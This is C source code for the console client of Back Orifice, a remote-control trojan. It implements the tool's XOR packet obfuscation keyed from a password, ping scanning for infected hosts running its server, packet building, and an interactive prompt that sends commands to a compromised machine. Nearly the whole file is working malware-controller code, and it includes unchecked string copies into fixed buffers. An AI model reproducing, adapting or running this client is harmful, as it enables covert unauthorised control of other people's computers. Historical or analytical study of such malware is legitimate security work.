/* boclient.c - Console client for Back Orifice */

#include "config.h"
#include "bounix.h"

/* GLOBALS */

unsigned long g_packet;
static long holdrand = 1L;
char g_password[ARGSIZE];
char g_lastdata[BUFFSIZE];
unsigned long g_lastpongip;
int g_lastpongport;
unsigned long host;
int udpsock;
char cwd[MAX_PATH];
int port = PORT;

/*                    CRYPTING FUNCTIONS 
 *                    (ISS x-force has xor teknique 
 */

void  msrand (unsigned int seed )
{
  holdrand = (long)seed;
}

int mrand ( void)
{ 
  return(((holdrand = holdrand * 214013L + 2531011L) >> 16) & 0x7fff);
}


unsigned int getkey()
{
  int x, y;
  unsigned int z;
  
  y = strlen(g_password);
  if (!y)
    return 31337;
  else {
    z = 0;
    for (x = 0; x < y; x++)
      z+= g_password[x];
    
    for (x = 0; x < y; x++)
      {
	if (x%2)
	  z-= g_password[x] * (y-x+1);
	else 
	  z+= g_password[x] * (y-x+1);
	z = z%RAND_MAX;
      }
    z = (z * y)%RAND_MAX;
    return z;
  }
}

void BOcrypt(unsigned char *buff, int len)
{
  int y;
  
  if (!len)
    return;
  
  msrand(getkey());
  for (y = 0; y < len; y++)
    buff[y] = buff[y] ^ (mrand()%256);
}

/*
 *                       I/O socket functions  
 */

int getpong(int sock)           /* loops through with select, returns 0 on correct ping response */
{                               /* and 1 on a timeout or select error. */
  struct sockaddr_in host;
  char buff[BUFFSIZE];
  int hostsize, x, sel;
  unsigned long *pdw;
  unsigned char *ptr;
  unsigned long packetsize;
  unsigned char type;
  fd_set fds;
  struct timeval tv;

  FD_ZERO(&fds);
  FD_SET(sock, &fds);
  tv.tv_sec = 0;
  tv.tv_usec = 0;
  hostsize = sizeof(host);
  
  while ( (sel = select(sock+1, &fds, NULL, NULL, &tv)) > 0)
    {
      tv.tv_sec=0;
      tv.tv_usec=0;

      if ( (x = recvfrom(sock, buff, BUFFSIZE, 0, (struct sockaddr *)&host, &hostsize)) <= 0 ) {
	return(1);
      }

      BOcrypt(buff, x);
      
      if ( strncmp(buff, MAGICSTRING, MAGICSTRINGLEN) != 0) 
	{
	  printf("------- Garbage packet recieved from %s port %d -------\n",
		 inet_ntoa(host.sin_addr),
		 (int)ntohs(host.sin_port) );
	  continue;
	}
      pdw = (unsigned long *)buff;
      pdw+=2;
      packetsize = __EL_LONG(*pdw);
      pdw+=2;
      ptr = (unsigned char *)pdw;
      type = *ptr++;
      
      if (!(type & PARTIAL_PACKET) && !(type & CONTINUED_PACKET ) && 
	  (type == TYPE_PING))
	{
	  printf("------- Pong received from %s port %d -------\n", 
		 inet_ntoa(host.sin_addr),
		 (int)ntohs(host.sin_port) );
	  puts(ptr);
	  puts("------- End of data -------");
	  g_lastpongip = host.sin_addr.s_addr;
	  g_lastpongport = (int)ntohs(host.sin_port);
	  return(0);
	} else {
	  printf("------- Non pong response from %s port %d -------\n", 
		 inet_ntoa(host.sin_addr),
	     (int)ntohs(host.sin_port) );
	  puts(ptr);
	  puts("------- End of data -------");
	  continue;
	}
    }
  if (sel < 0)
    perror("select");
  
  return(1);
}


int getinput(int sock)
{
  struct sockaddr_in host;
  char buff[BUFFSIZE];
  int hostsize, x, sel;
  unsigned long *pdw;
  unsigned char *ptr;
  unsigned long packetsize;
  unsigned long oldestpack, lastpacket, packetid, p;
  unsigned char type;
  struct timeval tv;
  fd_set fds;

  FD_ZERO(&fds);
  FD_SET(sock, &fds);
  tv.tv_sec = 10;
  tv.tv_usec = 0;
  hostsize = sizeof(host);
  
  while( (sel = select(sock+1, &fds, NULL, NULL, &tv)) > 0 )
    {
      tv.tv_sec = 10;        /* check, does select modify tv? */
      tv.tv_usec = 0;

      if ( (x = recvfrom(sock, buff, BUFFSIZE, 0, (struct sockaddr *)&host,
			 &hostsize)) <= 0)
	continue;           /* this still shouldnt happen */
      
      BOcrypt(buff, x);
      if ( strncmp(buff, MAGICSTRING, MAGICSTRINGLEN) != 0) 
	continue;                   /* this packet isnt for us, pass off */
      
      pdw = (unsigned long *)buff;    /* parse out the packet */ 
      pdw+=2;
      packetsize = *pdw++;
      packetsize = __EL_LONG(packetsize);
      packetid = *pdw++;
      packetid = __EL_LONG(packetid);
      ptr = (unsigned char *)pdw;
      type = *ptr++;
       
      /* this is a singular packet */
      if (!(type & PARTIAL_PACKET) && !(type & CONTINUED_PACKET ) )
	{
	  printf("------- Packet received from %s port %d -------\n",
		 inet_ntoa(host.sin_addr),
		 (int)ntohs(host.sin_port) );
	  puts(ptr);
	  puts("------- End of data -------");
	  return 0;                                         /* success */
	}
      
      /* first packet in a set of packets */
      if (!(type & CONTINUED_PACKET))
	{
	  oldestpack = packetid;
	  printf("------- Packet received from %s port %d -------\n",
		 inet_ntoa(host.sin_addr),
		 (int)ntohs(host.sin_port) );
	}

       if(type & CONTINUED_PACKET)             /* if we're here, i believe this will always be true */
	 {
	                                       /* if packetid = lastpacket+1 (normal), this doesnt run */

	   /* This code is B00l Shit. It's borken big time.
	   for(p=lastpacket; packetid > lastpacket+1; p++)
	     printf("Packet #%d in this collection is MIA\n", (int)(p-oldestpack));
	   */
	   lastpacket = packetid;
	 }

       puts(ptr);
       
       /* last packet in a set of packets */
       if (!(type & PARTIAL_PACKET))
	 {
	   puts("------- End of data -------");
	   return 0;                                         /* success */
	 }
    }
  
                                                             /* determine why we broke out of the loop */
  if (sel == 0) 
    puts("Timeout on wait, host may not be reachable, or no server installed\n");
  else if (sel < 0)
    perror("select");
  
  return(1);                                                 /* error */
}


int sendping(unsigned long dest, int port, int sock)
{
  unsigned char *ptr;
  unsigned long *pdw;
  unsigned long size;
  struct sockaddr_in host;
  char buff[BUFFSIZE];
  int i;
  fd_set fdset;
  struct timeval tv;

  size = MAGICSTRINGLEN + (sizeof(unsigned long)*2) + 2;
  strcpy(buff, MAGICSTRING);
  pdw = (unsigned long *)(buff + MAGICSTRINGLEN);
  *pdw++ = __EL_LONG(size);
  *pdw++ = __EL_LONG((unsigned long)-1);
  ptr = (unsigned char *)pdw;
  *ptr++ = TYPE_PING;
  *ptr = 0;
  
  BOcrypt(buff, (int)size);
  
  host.sin_family = AF_INET;
  host.sin_port = htons((u_short)port);
  host.sin_addr.s_addr = dest;
  
  FD_ZERO(&fdset);
  FD_SET(sock, &fdset);
  tv.tv_sec = 10;
  tv.tv_usec = 0;

  i = select(sock+1, NULL, &fdset, NULL, &tv);
  if (i == 0)
    {
      printf(" Timeout waiting to send to socket\n");
      return(1);
    } else if (i < 0) {
      perror("select: ");
      return(1);
    }

  if ( (sendto(sock, buff, size, 0, (struct sockaddr *)&host, sizeof(host))) != size )
    {
      perror("sendto: ");
      return(1);
    }

  return 0;
}



int sendpacket(unsigned char type, const char *str1, const char *str2, unsigned long dest, int port, int sock)
{
  unsigned char *ptr;
  unsigned long *pdw;
  unsigned long size;
  struct sockaddr_in host;
  char buff[BUFFSIZE];
  
  if (dest == 0)
    {
      puts("Set a target host with the 'host' command.  (Type 'help' for assistance)");
      return 1;
    }
  /*               4    4   1    ?        ?      1 
   * -----------------------------------------------
   * |MAGICSTRING|size|pakt|t|arg1... |arg2... |crc|
   * |           |    |num | |        |        |   |
   * -----------------------------------------------
   */
  size = MAGICSTRINGLEN + (sizeof(long)*2) + 3 + strlen(str1) + strlen(str2);
  strcpy(buff, MAGICSTRING);
  pdw = (unsigned long *)(buff + MAGICSTRINGLEN);
  *pdw++ = __EL_LONG(size);
  *pdw++ = __EL_LONG(g_packet);
  g_packet++;
  ptr = (unsigned char *)pdw;
  *ptr++ = type;
  strcpy(ptr, str1);
  ptr += strlen(str1) + 1;
  strcpy(ptr, str2);
  
  BOcrypt(buff, (int)size);
 
  host.sin_family = AF_INET;
  host.sin_port = htons((u_short)port);
  host.sin_addr.s_addr = dest;

  if ( (sendto(sock, buff, size, 0, (struct sockaddr *)&host, sizeof(host))) != size)
     {
       perror("sendto: ");
       return(1);
     }
  return 0;
}


/************************** MISC FUNCTIONS **************************/

void fixfilename(char *buff, const char *cwd, const char *path)
{
  if (path[0] == '\\')
    {
      strncpy(buff, cwd, 2);
      strncpy(buff+3, path, strlen(path)+1);
    } else if (strncmp(path+1, ":\\", 2) == 0){
      strcpy(buff, path);
    } else {
      sprintf(buff, "%s%s", cwd, path);
    }
}

char *quotedstring(char *dest, char *src)
{
  char *d, *s, c;
  int quote, escape;

  d=dest;
  s=src;
  quote=0;
  escape=0;
  do {
    c=*s++;
    if(quote==0) {
      if(c==' ') {
	*d++='\0';
	break;
      }
      else if(c=='"') quote=1;
      else *d++=c;
    }
    else {
      if(escape==0) {
	if(c=='"') quote=0;
	else if(c=='\\') escape=1;
	else *d++=c;
      }
      else {
	*d++=c;
	escape=0;
      }
    }
  } while(c!='\0');
  
  return s; 
}

/**************************** MAIN ***************************/

int main(int argc, char **argv)
{
  struct sockaddr_in sockaddr;
  struct in_addr hostin;
  char *c, *d;
  char buff[1024];
  char command[COMMANDSIZE];
  char arg1[ARGSIZE];
  char arg2[ARGSIZE];
  int x;
  int clientport = 0;
  struct linger linger;
  int bufsize;
  
  printf("Back Orifice console client version %s\n", VERSIONSTR);
  printf(" (Type 'help' for assistance)\n");
  
  host = 0;
  g_packet = 0;
  g_password[0] = 0;
  strcpy(cwd, "c:\\");
  
  if (argc > 1)
    {
      for (x = 1; x < argc; x++)
	{
	  if (argv[x][0] == '-' || argv[x][0] == '/')
	    {
	      switch (toupper(argv[x][1]))
		{
		case 'H':
		case '?':
		  puts("boclient.exe [-p port]");
		  return 0;
		case 'P':
		  if (argv[x][2] == 0)
		    { 
		      x++;
		      clientport = atoi(argv[x]);
		    } else {
 		      clientport = atoi(&argv[x][2]);
		    }
		  break;
		case 0:
		  puts("\"-\"?");
		  break;
		default:
		  printf("Unknown commandline option: '%c'\n", argv[x][1]);
		  break;
		}
	    }
	}
    }

  if ( (udpsock = socket(PF_INET, SOCK_DGRAM, 0)) < 0)
    {
      perror("socket: ");
      return(1);
    }
  
  memset(&sockaddr, 0, sizeof(sockaddr));
  sockaddr.sin_family = AF_INET;
  sockaddr.sin_port = htons((u_short)clientport);
  
  if ( (bind(udpsock, (struct sockaddr *)&sockaddr, sizeof(sockaddr))) < 0)
    {
      perror("bind: ");
      return(1);
    }
  
  linger.l_onoff = 0;          /* dont linger */
  setsockopt(udpsock, SOL_SOCKET, SO_LINGER, (void *)&linger, sizeof(linger) );
  
  while (!feof(stdin))
    {
      if ( host == 0)
	printf("BO>");
      else 
	{
	  hostin.s_addr = host;
	  printf("BO:%s>", inet_ntoa(hostin));
	}
      arg1[0] = arg2[0] = 0;
      memset(buff, 0, BUFFSIZE);
      fgets(buff, 1024, stdin);
      if (buff[strlen(buff)-1] == '\n')
	buff[strlen(buff)-1] = '\0';              /* get rid of newline if there */
  
      c = quotedstring(command,buff);
      
      while ( isspace((int)c[0]) )             /* advance to next nonspace character */
	c++;

      c = quotedstring(arg1,c);
      
      while ( isspace((int)c[0]) )             /* advance to next nonspace character */
	c++;
      
      c = quotedstring(arg2,c);
      
      if (executecommand(command, arg1, arg2))      /* parsing sucks, but we're done. lets go! */
	printf("Command Failed\n");
    }
  return 0;
}










